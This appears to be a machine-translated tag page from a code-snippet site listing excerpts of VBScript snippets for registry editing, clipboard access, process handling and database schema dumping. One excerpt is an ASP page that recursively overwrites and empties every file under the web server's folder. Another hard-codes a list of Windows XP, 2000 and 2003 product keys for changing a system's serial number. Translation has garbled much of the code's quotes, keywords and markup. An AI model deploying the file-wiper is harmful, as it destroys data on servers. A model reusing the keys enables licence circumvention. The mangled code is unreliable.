Tag:vbs

  • VBS how to view or get the script content of the clipboard

    Time:2020-7-10

    Copy codeThe code is as follows: Set objhtml = create object (“htmlfile”) ‘both xmlfile and mhtmlfile can be usedClipboardText=objHTML.ParentWindow.ClipboardData.GetData(“text”) MsgBox ClipboardText

  • VBS memo start code

    Time:2020-7-9

    Copy codeThe code is as follows: MSG = array (“cancel the call ᦇ 57 ᦇ”, “server processing”, “traffic chart to see if there is a large amount of traffic”, “what tasks should be completed today”)‘msgbox join(msg,vbcrlf)    For i = 0 To UBound(msg)        MsgBox msg(i)    Next 

  • Vbs script code to operate registry using WMI page 1 / 2

    Time:2020-7-7

    oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath    oReg.SetExpandedStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue    oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue    oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue    oReg.SetBinaryValue HKEY_LOCAL_MACHINE,strPath,strValueName,uBinary    oReg.SetMultiStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,arrStringValues    oReg.DeleteKey HKEY_LOCAL_MACHINE, strKeyPath    oReg.DeleteValue HKEY_LOCAL_MACHINE,strKeyPath,strStringValueName    oReg.GetExpandedStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue    oReg.GetDWORDValue HKEY_CURRENT_USER,strKeyPath,strValueName,dwValue    oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue    oReg.GetBinaryValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,uBinary    oReg.GetMultiStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,arrStringValues    ‘——————————————————————————————-    Const HKEY_CLASSES_ROOT = &H80000000    Const HKEY_CURRENT_USER = &H80000001    Const HKEY_LOCAL_MACHINE = &H80000002    Const HKEY_USERS = &H80000003    Const HKEY_CURRENT_CONFIG = &H80000005    ‘create a registry keyconst HKEY_LOCAL_MACHINE = &H80000002    strComputer = “.”   Set StdOut = WScript.StdOut    Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_     strComputer & “\root\default:StdRegProv”)    strKeyPath = “SOFTWARE\System Admin Scripting Guide”   oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath    ‘create a multi string valueconst HKEY_LOCAL_MACHINE = &H80000002    strComputer = “.”   Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_     strComputer & “\root\default:StdRegProv”)    strKeyPath = “SOFTWARE\System Admin Scripting Guide”   strValueName = “Multi String Value Name”   arrStringValues = Array(“first string”, “second string”,_     “third string”, “fourth string”)    oReg.SetMultiStringValue HKEY_LOCAL_MACHINE,strKeyPath,_    strValueName,arrStringValues       ‘create an extended string valueconst HKEY_LOCAL_MACHINE = &H80000002    strComputer = “.”   Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_     strComputer & “\root\default:StdRegProv”)    strKeyPath = “SOFTWARE\System Admin Scripting Guide”   strValueName = “Expanded String Value Name”   strValue = “%PATHEXT%”   […]

  • The code of getting QQ signature in the first battle of VBS XMLDOM

    Time:2020-7-6

    ‘/*=========================================================================    ‘* intro uses XMLDOM to analyze QQ signature documents‘ * FileName    QQ_QianMing.vbs    ‘ * Author      yongfa365    ‘ * Version     v2.0    ‘ * Email       yongfa365[at]qq.com     ‘ * MadeTime    2008-01-22 20:55:25    ‘ * LastModify  2008-02-22 20:55:25    ‘ *==========================================================================*/    Set Doc = CreateObject(“Microsoft.XMLDOM”)    Doc.async = False   Doc.load(“http://e.cnc.qzone.qq.com/cgi-bin/cgi_emotion_indexcount.cgi?uin=64049027”)    Set root = Doc.documentElement    Set node = root.childNodes.nextNode()    Wscript.Echo “Total” node.text “Signature information” Set Doc = CreateObject(“Microsoft.XMLDOM”)    Doc.async = False   Doc.load(“http://e.cnc.qzone.qq.com/cgi-bin/cgi_emotion_indexlist.cgi?uin=64049027&emotionarchive=-1”)    Set root = Doc.documentElement    Wscript.Echo “The XML root node name is: & nbsp root.nodeName    Set node = root.childNodes.nextNode()    For nodei = 0 To node.childNodes.Length -1        Set NowNode = node.childNodes(nodei)        msg = msg & vbCrLf & “id” & “:” & NowNode.Attributes.getNamedItem(“id”).text        ‘    msg = msg & vbCrLf & “id” & “:” & NowNode.getAttribute(“id”)        msg = msg & vbCrLf & “title” & “:” & NowNode.selectSingleNode(“title”).text        msg = msg & vbCrLf & “pubDate” & “:” & NowNode.selectSingleNode(“pubDate”).text        ‘    msg = msg & vbCrLf &  NowNode.childNodes(0).nodeName & “:” & NowNode.childNodes(0).text        ‘    msg = msg & vbCrLf &  NowNode.childNodes(1).nodeName & “:” & NowNode.childNodes(1).text    Next   Wscript.Echo msg 

  • VBS destructive application code

    Time:2020-7-5

    ‘seen online, applicable and not banned shell.application Server forserver.scripttimeout = 99999    If request(“submit”)<>”” Then       Call listfile(server.mappath(“./”))         response.Write “Finished processing”Else        response.Write “< form > < input type =” submit “” name = “submit” “value = empty the contents of all files” > < / form > “End If   Function listfile(fpath)        On Error Resume Next       Dim Shell, Folder, s        Set Shell = server.CreateObject (“shell.application”)        Set Folder = Shell.namespace(fpath)        Set f = server.CreateObject(“adodb.stream”)        f.Type = 1        f.Open       For Each s in Folder.Items            If s.isfolder Then               Call listfile(s.Path)            Else   […]

  • VBS generates the fields of all tables in access data

    Time:2020-7-4

    < job id = “generate all tables and fields in access database and generate character combinations in a certain format” > “<script language =”vbscript”> databasename =” access.mdb Database addressTablename = “blogariticle” ‘”the name of the table to be processed Set conn = CreateObject(“ADODB.Connection”) connstr =”provider=microsoft.jet.oledb.4.0;data source=”&databasename conn.Open connstr Set rs_all = CreateObject(“adodb.recordset”) sql_all =”select name from MSysObjects where type=1 and flags=0″ rs_all.Open sql_all, conn,1,1 DoWhileNot rs_all.EOF     tablename = rs_all(0) Set rs = CreateObject(“adodb.recordset”)     sql =”select * from “& tablename &” where 1<>1″     rs.Open sql, conn,1,1     j = rs.Fields.Count     txtContent =””     txtContent1 =””     txtContent2 =””     txtContent3 =””     txtContent4 =”” For i =0To(j -1)         title = rs.Fields(i).Name […]

  • VBS implementation of the image adaptive form, the best solution at present!

    Time:2020-7-3

    1. When uploading, you can save the height and width of the picture in the database. When you use it, you can judge it. But that method is more troublesome2. Use a function in VBScript called loadfeaturePicurl ‘picture address‘Take out the height and width Select the size of the picture before using itset myImg = loadpicture(server.mappath(picurl))   iWidth = round(myImg.width / 26.4583)   iHeight = round(myImg.height / 26.4583)  […]

  • ProcessMagnifier.vbs Process view

    Time:2020-7-2

    ‘ FileName: ProcessMagnifier.vbs    ‘ Function: Capture information about the running processes in detail    ‘ code by somebody    ‘ QQ: 240460440    ‘ LastModified:2007-11-16 18:25    ‘for learning only Const HKEY_CURRENT_USER = &H80000001    oReg = GetObject(“winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv”)    strKeyPath = “Console\%SystemRoot%_system32_cmd.exe”   oReg.CreateKey(HKEY_CURRENT_USER, strKeyPath)    strValueName1 = “CodePage”   dwValue1 = 936    strValueName2 = “ScreenBufferSize”   dwValue2 = 98304200    strValueName3 = “WindowSize”   dwValue3 = 2818173    strValueName4 = “HistoryNoDup”   dwValue4 = 0    strValueName5 = “WindowPosition”   dwValue5 = 131068    strValueName6 = “QuickEdit”   dwValue6 = 2048    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName1, dwValue1)    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName2, dwValue2)    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName3, dwValue3)    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName4, dwValue4)    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName5, dwValue5)    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName6, dwValue6)       Dim objWSH, FinalPath    objWSH = WScript.CreateObject(“WScript.Shell”)    If (LCase(Right(WScript.Fullname, 11)) = “wscript.exe”) Then       FinalPath = “‘” & WScript.ScriptFullName & “‘”       objWSH.Run(“cmd.exe /k cscript //nologo ” & Replace(FinalPath, “‘”, “”””))        WScript.Quit()    End If   oReg.DeleteKey(HKEY_CURRENT_USER, strKeyPath)    oReg = Nothing   WScript.Echo()    WScript.Sleep(1000)    WScript.Echo (“a brief list of currently running processes is as follows: ‘)WScript.Echo(vbCrLf)    WScript.Sleep(2000)    […]

  • VBS calls WMI to quickly close ie script

    Time:2020-6-29

    VBS calls WMI to kill IESave the following file as KillIE.vbs When you want to close all web pages opened with ie, double-click to execute, Set wmi=GetObject(“winmgmts:\\.”) Set pro_s=wmi.instancesof(“win32_process”) For Each p In pro_s  if p.name=”iexplore.exe” then p.terminate() Next This is to extract because: I usually open a lot of web pages, close also to close half a day, with this is really good. […]

  • VBS to view or modify the serial number of windows series system

    Time:2020-6-28

    ‘/*========================================================================= ‘* intro view or modify the serial number of windows series system (including 2000, XP, 2003), and support the command line“ GetChangeWindowsSN.vbs Windows system serial number “or run directly to enter the windows system serial number.‘ * FileName    GetChangeWindowsSN.vbs ‘ * Author      yongfa365 ‘ * Version     v1.0 ‘ * Email       yongfa365[at]qq.com ‘ * MadeTime    2007-10-13 21:40:09 ‘ * LastModify  2007-10-13 21:40:09 ‘ *==========================================================================*/ On Error Resume Next SN_XP_1 = “MRX3F-47B9T-2487J-KWKMF-RPWBY” ‘good SN_XP_2 = “QC986-27D34-6M3TY-JJXP9-TBGMD” SN_XP_3 = “K2CXT-C6TPX-WCXDP-RMHWT-V4TDT” SN_XP_4 = “22DVC-GWQW7-7G228-D72Y7-QK8Q3” SN_XP_5 = “DG8FV-B9TKY-FRT9J-6CRCC-XPQ4G” SN_XP_6 = “T44H2-BM3G7-J4CQR-MPDRM-BWFWM” SN_XP_7 = “XW6Q2-MP4HK-GXFK3-KPGG4-GM36T” SN_2000_1 = “PQHKR-G4JFW-VTY3P-G4WQ2-88CTW” SN_2000_Server_1 = “H6TWQ-TQQM8-HXJYG-D69F7-R84VM” SN_2000_Advanced_Server_1 = “H6TWQ-TQQM8-HXJYG-D69F7-R84VM” SN_2003_1 = “JCGMJ-TC669-KCBG7-HB8X2-FXG7M” ‘good […]

  • VBS ADO class for extracting database table and column names

    Time:2020-6-27

    <!–#include virtual=”/include/conn.inc”–> <% ‘********************************* ‘* classname: ADOXDBOPR ‘* produced by: Liu Xiaoyi‘* function: use ADO for database operation‘* version: 1.0‘*www.jb51.net developpaer‘********************************** Class ADOXDBOPR dim objADOX Private Sub Class_Initialize  Set objADOX=Server.CreateObject(“ADOX.Catalog”) end sub Public Property let Connection(objCONN) objADOX.ActiveConnection=objCONN End Property public function arrTName dim arrTNames() dim i : i=1 for each objtab in objADOX.tables   if objtab.type=”TABLE” then    redim Preserve arrTNames(i)    arrTNames(i-1)=objtab.name    i=i+1   end if next arrTName=arrTNames end function  public function arrfinfo(szTName) dim arrf() Set objTAdox=objADOX.tables.item(szTName) for i=0 to objTAdox.columns.count-1   Set dicInfo=Server.CreateObject(“Scripting.Dictionary”)   redim preserve arrf(i+1)   dicInfo.add “name”,objTAdox.columns.Item(i).name   dicInfo.add “type”,type_int2str(objTAdox.columns.Item(i).type)   Set arrf(i)=dicInfo   Set dicInfo=nothing next  arrfinfo=arrf end function public sub del_table(szTName) objADOX.tables.delete szTName End Sub public sub add_table(szTName) […]